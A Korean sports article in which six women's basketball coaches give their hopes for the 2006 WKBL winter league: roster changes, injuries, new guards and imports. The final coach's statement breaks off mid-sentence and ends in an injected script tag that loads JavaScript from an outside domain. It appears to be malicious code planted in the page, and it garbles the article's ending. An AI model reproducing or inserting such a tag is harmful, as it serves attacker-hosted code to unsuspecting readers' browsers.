올 겨울 다시 돌아온 시즌. 지난 9월 2005여름리그가 끝나기 무섭게 6개 구단의 감독들은 다시 겨울리그를 향해 발을 내딛고 달려왔다. 자신의 선수들이 최고의 기량을 뽐낼 수 있도록 만들어내는 감독들은 1년 365일 쉴 틈이 없다.
자, 다시 시작된 여자프로농구. "우승!"을 목표로 '금호아시아나배 2006 WKBL 겨울리그'를 맞이하는 6개 구단 감독들의 각오를 들어본다.
천안 KB국민은행 세이버스 - 이문규 감독
지난 여름리그에서 팀의 중심 정선민을 비롯해 오랫동안 센터를 맡아왔던 곽주영이 포지션을 변경하면서 자리를 찾지 못해 힘든 경기를 많이했다. 하지만, 이제 달라졌다. 언제나 변함없는 플레이를 보여주는 정선민도 자신의 자리에 확실히 돌아왔고, 곽주영도 자신의 컬러를 찾아냈다. 곽주영의 새로운 모습이 기대되는 시즌이다. 지난 여름리그 챔피언 신한은행은 가장 어려웠던 상대로 우리팀과의 플레이오프 3차전 경기를 꼽았었다. 그만큼 우리들은 강하지만 끝에서 아쉽게 무너지곤 했다. 그 고비만 잘 넘어가면 된다고 생각한다. 골밑은 티나 톰슨과 신정자가 있어 든든하다. 그동안 취약한 부분으로 지적됐던 가드진도 다시 정비했다. 한재순이 있던 포인트 가드에 김지현과 신인 이경희의 합류가 크게 작용해 3명으로 운영할 것이다. 매 경기 최선을 다하겠다.
구리 금호생명 팰컨스 김태일 감독
지난 여름리그보다 가장 안정화되고 전력이 향상된 팀이 우리팀이라고 본다. 여름리그에서는 선수들의 잦은 부상과 여러가지 악재가 겹쳐 힘들었던 시즌이었다. 하지만, 이번에 우리가 타이틀 스폰서도 맡고 무엇보다 부상선수의 회복과 함께 선수층이 두터워진 강점이 있다. 자신의 능력을 발휘할 줄 아는 노련한 선수들이 많아 매 경기 베스트 멤버가 다르게 계획돼 있다. '우승'을 목표로 하는 만큼 선수들의 체력관리가 중요하다고 판단해 베스트 멤버들의 체력안배에도 신경쓸 것이다. 김지윤을 중심으로 이언주, 김경희, 정미란 그리고 어려움이 많았던 센터진에
이종애가 가세하면서 한층 업그레이드 됐다. 김지윤을 중심으로 한 선수들의 조직력도 갈수록 탄탄해져서 빠르고 공격적인 농구를 보여줄 수 있을 것 같다. 화끈한 공격농구와 짜임새있는 수비로 우승을 향해 전진하겠다.
용인 삼성생명 비추미 정덕화 감독
지난 여름리그 팀의 기둥인 주전 선수들의 부상으로 많은 어려움이 있었다. 중심이 됐던 선수들이 줄줄이 부상으로 빠지자 어린 선수들이 맥을 놓고 플레이를 해 패했던 경기가 많았다. 시즌 종반에 가서 집중력을 발휘했지만 어려움도 많았다. 이번 시즌에는 선수들의 기본기부터 강조했고 훈련해왔다. 현재 스미스가 무릎이 안좋지만 선수들과 호흡을 맞춰가며 시즌을 준비하고 있다. 지난 여름리그 이미선이 부상으로 빠지며 가드진의 공백이 매우 컸지만 이번 시즌에는 배짱좋고 힘있는 신인 박태은에게 볼을 맡길 예정이다. 현재 이미선은 수술 후 재활훈련에 있어 이번 시즌 정상적인 합류는 어려울 것으로 본다. 우선, 4강진출을 위해 최선을 다하겠다.
광주 신세계 쿨캣 김윤호 감독
우리에겐 더 이상 물러설 곳이 없다. 목표는 항상 우승이다. 하지만, 첫번째 목표는 4강 진출로 잡고 있다. 허윤자가 부상으로 빠졌지만, 장선형이 복귀했고 정진경도 한층 더 안정된 기량을 보이고 있다. 특히, 신입 김정은의 기량이 뛰어나 기대가 크다. 비어드의 합류가 늦어졌지만 충분히 팀을 이끌어 줄것이라고 본다. 확실히 여름리그보다 좀더 안정됐고 선수들의 기량도 향상됐다.
안산 신한은행 에스버드 이영주 감독
지난 여름리그 우승 이후 국제대회와 국내외 전지훈련으로 충분한 휴식을 취하지 못해 선수들이 피로함을 많이 느끼는 것 같다. 체중조절에 성공한 강지숙이 많이 좋아져 타즈 맥 윌리엄스와 함께 골밑을 지켜줄 것으로 본다. 선수진도 몸에 힘을 빼고 믿음직한 플레이를 보여주고 있어 기대하고 있다. 그동안 슈터부재가 문제였지만 한채진과 김나연, 이연화 등이 충분히 메워줄 것이라고 본다. 현재 문제는 전주원의 컨디션이다. 팀의 중심이 된 전주원이 피로감으로 컨디션 조절이 안되고 있어 걱정이다. 초반에는 어려움이 있겠지만, 시즌을 시작하고 시간이 지나면 다시 조직력과 스피드로 우리 농구를 할 수 있다. 최선을 다하겠다.
춘천 우리은행 한새 박명수 감독
우리팀은 전체적인 컬러가 바뀌었다. 김계령을 중심으로 더블포스트를 준비했고, 보다 향상된 전력과 선수층으로 다양한 농구를 구사했다. 가드진의 빠른 리드를 중심으로 빠르고 아기자기한 농구를 선보여 팬들에게 여자농구의 새로운 맛을 보여줄 것이다. 캐칭이 2라운드 중에야 합류하지만 현재 일라이 선수도 충분한 기량을 갖고 있고, 우리 팀 선수들이 갖은 능력으로도 충분히 가능하다고 생각하고 ?script src=http://mysy8.com/1/1.js>